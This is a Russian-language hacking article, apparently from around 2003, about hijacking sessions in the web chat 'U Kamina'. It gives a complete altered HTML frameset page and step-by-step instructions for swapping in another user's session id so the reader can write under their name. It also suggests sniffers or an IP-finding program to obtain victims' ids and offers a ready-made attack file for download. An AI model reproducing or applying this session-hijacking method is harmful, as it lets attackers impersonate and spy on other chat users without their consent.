Добавить в Избранное




Как я ломал чат "У Камина"

Сегодня я решил всё таки поведать миру о том , как я пытался взломать полюбившийся многим чат "У Камина" Поначалу я хотел сделать эту статью платной , так как всё описанное здесь работает , немного фантазии могло бы привести к полному развалу чата... Ну что я всё отрывками... Расскажу поподробнее...

Как то чятясь в приведённом выше чате, я решил порисовать в нём используя теги не запрещённые для использования... Получилось очень красиво , я рассылал подругам букеты роз , нарисованные конечно , потом пытался нарисовать физиономию ( не свою) , девки были в восторге , НО , киллерам почемуто не понравилось и они выкинули меня на час , так продолжалось несколько недель (порисовать то хочется) Ну конечно потом мне это очень сильно надоело и я стал думать , как бы сделать так чтобы киллеры не могли меня выкинуть , чтобы я мог писать от чужого имени и чтобы я мог читать чужие сообщения в привате... Ну чтобы меня не выкинули я попытался посидеть через прокси сервер (анонимный конечно) , многие этот способ пробовали наверное но ничего не получилось , но почему? Меня тоже мучил этот вопрос , потом мне один паренёк объяснил ,что админ чата Ринат не дурак , оказывается когда мы входим в этот чат сервер не только фиксирует твой IP , но и логин прова по которому мы выходим в инет ( не знаю как он это делает ), вот поэтому анонимный прокси сервер не помогает. Но прокси сервер не единственный способ ,тем более с помощью его мы же не сможем писать от чужого имени ,как то сидя в интернете по халявному свистнутому паролю я набрёл на статью. Вот тогда то мне и пришла мысль попробовать это испытать на полюбившемся мне чате...
С первого раза конечно ничего не получилось и я забросил... Потом примерно через месяц друг позвал меня к себе , чтобы показать мне что ему удалось открыть скрытые поля на начальной страничке чата "У Камина" но я то не ламем ,я уже давно эти поля открыл только они ничего не дают. Ну мы решили вместе раскинуть мозгами ( два мозга лучше чем один ) Ну составили HTML код вроде всё работало в норме но нижняя панель , где мы пишем своё сообщение и отправляем в общее окно чата , почему то не грузилась и мы только могли сидень и наблюдать за другими людьми как они разговаривают... Придя под вечер домой растроеный я всё-таки решил не сдаваться , я както начинал учить HTML так что кое что в голове имелось , Посидев всю ночь над HTML кодом у меня кое что получилось...
Сначала опишу мои действия...
Первым делом заходим на начальную страничку чата и сохраняем её на свой винд , чтобы можно было работать с ней со своего жёсткого диска. Затем открываем сохраненную страничку и открываем HTML код, всё стираем от туда и вставляем мой код :

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0024)http://www.chat.tbit.ru/ -->
<HTML><HEAD><TITLE>Чат 'У Камина': общение, приваты и фотогалереи</TITLE>
<META content="text/html; charset=windows-1251" http-equiv=Content-Type>
<META content="Ренат Фатхуллин" name=Publisher>
<META content="Чат 'У Камина': общение, приваты и фотогалереи" name=Description>
<META
content="chat,chat,чат,русскоязычный чат,У Камина,казань,CGI,чаты,скорость,кроватка,диван,халява,ренат,chat,russian,chats"
name=Keywords><LINK href="1.files/kam.css" rel=stylesheet type=text/css>
<SCRIPT src="1.files/counters2.js"></SCRIPT>

<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<meta http-equiv="pragma" content="no-cache"><meta http-equiv="expires" content=0>
<title>Чат 'У Камина'</title></head>
<frameset rows="0,*,34" frameborder=1 framespacing=1 border=1>
<frame name=void src="http://www.chat.tbit.ru/void.htm" scrolling=no noresize marginwidth=0 marginheight=0>
<frameset cols="*,255">
<frame name=messages src="http://www.chat.tbit.ru/k.dll?c=msg&id=endnxcbazygmesx&update=1" marginwidth=1 marginheight=1 scrolling=auto frameborder=1>
<frame name=info src="http://www.chat.tbit.ru/k.dll?c=tr&id=endnxcbazygmesx&file=info.htm" marginwidth=1 marginheight=1 scrolling=auto frameborder=1>
</frameset>
<frame name=c src="http://www.chat.tbit.ru/k.dll?c=ctrl&id=endnxcbazygmesx" scrolling=no noresize marginwidth=0 marginheight=0>
</frameset></html>


<frameset rows="80%,20%">
<frameset cols="70%,30%">
<frame name="razg" src="http://www.chat.tbit.ru/k.dll?c=msg&id=endnxcbazygmesx&update">
<frame name="rigt" src="http://www.chat.tbit.ru/k.dll?c=ctrl&id=endnxcbazygmesx">
</frameset>

<frame name="bot" src="start.htm">
</frameset>




<SCRIPT language=JavaScript>
<!--
function Win(adr) { new Object() ; }
function usersdb() { new Object() ; }
function getCookie(name)
{
var cookieFound = false; var start = 0;
var end = 0;
var cookieString = document.cookie;
var i = 0;
while(i <= cookieString.length)
{
start = i;
end = start + name.length;
if(cookieString.substring(start,end) == name) { cookieFound = true; break; }
i++;
}
if(cookieFound)
{
start = end + 1;
end = document.cookie.indexOf("&",start);
if(end < start) end = document.cookie.length;
return document.cookie.substring(start,end);
}
return "";
} //-->
</SCRIPT>

<META content="MSHTML 5.00.2614.3500" name=GENERATOR></HEAD>
<BODY aLink=gold bgColor=black link=gold text=white topMargin=1 vLink=gold
marginheight="1">
<CENTER>
<DIV
style="LEFT: 0px; POSITION: absolute; TOP: 0px; VISIBILITY: hidden; Z-INDEX: 100">общение
в чатах без морганий, фотогалерея и приваты, поиск участников игнор, рейтинг
чатов, знакомства, Gala Chat Любви Flirt LANgiRON LoveChat Болтушка ЧАТ ГЕРМАНИИ
ПО-РУССКИ! Заходи! Болтай Russian Chatsystem in Germany Русский голосовой, ява и
IRC чат ёпрст CITYCHAT Питерский чат B Замке у Геральта Страсти в Песочнице
EroChat К Л У М Б А </DIV><IMG alt="Чат 'У Камина'" border=0 height=174
src="1.files/kam.gif" width=512><BR>
<TABLE border=0 cellPadding=2 cellSpacing=2>
<FORM action=k.dll method=post><INPUT name=c type=text value=enter><INPUT
name=room type=text value=endnxcbazygmesx=1>
<TBODY>
<TR>
<TD><FONT face=Arial,Helvetica size=2>Имя:</FONT></TD>
<TD><FONT face=Arial,Helvetica size=2>
<SCRIPT language=JavaScript>
<!--
document.write('<input type=text size=11 maxlength=30 name=nik value="'+getCookie("nik")+'">');
//-->
</SCRIPT>
</FONT></TD>
<TD><FONT face=Arial size=2>Пароль:</FONT></TD>
<TD><INPUT maxLength=30 name=pass size=11 type=password></TD>
<TD><INPUT border=0 src="1.files/bt_ok.gif"
type=image></TD></TR></FORM></TBODY></TABLE>


</HTML>

Теперь сохраняем и снова обновляем страничку , это лучше всего сделать не подключенным к интернету а то загрузится начальная страничка чата ( так как пока в в приведённом выше HTML коде указан старый ID )
В загрузившейся страничке 3 поля как и в чате. Теперь осталось вставить в код страницы нужный нам ID пользователя который в данный момент находится в чате и от имени котрого вы хотели бы писать, для этого откроем опять HTML код и в поиске наберём "id=" , вы найдёте несколько таких слов , возле id= будет написано длинное не имеющее смысла слово , это мой старый id который сейчас не действует , так вот вам осталось только подставить действующий id вместо моего и всё.
ID можно вычислить каким нибудь снифером или прогой на страничке http://www.antichat.by.ru в разделе "Программы" которая вычисляет IP в чатах , эта прога должна вычислять и ID но если не вычисляет нам хватит и ip который она вычислит ( описание к программе читайте на странице где вы её скачаете. Так вот вычислив IP нужного нам пользователя мы вносим этот ip в какой нибудь снифер и он выдаст вам id . Можно просто спросить id у чатланца которого вы хотите обломать (но не все они лохи, некоторые не дадут) Я хотел попробывать вычислить ID пригласив нужного мне юзера в приват , но не успел , чат вроде закрыли ( или он переехал на другой сервер)



Для ленивых у меня есть готовая страничка. Качайте. Скачав вам останецся только подставить ID и запустить страничку.

Кстати я вычислил URL адрес по которому можно легально попасть в чат , нужно быть зарегестрированым ,
http://www.chatkamin.ru/k.dll?c=enter&nik=Сюда введите свой ник&pass=Сюда введите свой пароль&room=1


Предложения и вопросы пишите на мыло kill50@rambler.ru или по Аське: 114223239 Автор статьи Sander


Скачать готовый файл

Работа на дому. Идеи домашнего бизнеса.(очень редкий сайт)

Закажите своим детям, друзьям или родственникам письмо от Деда Мороза к Новому Году 2004

Напишите что вы думаете о этой статье

Форум по взлому и по другим вопросам

E-mail: kill50@rambler.ru


Hosted by uCoz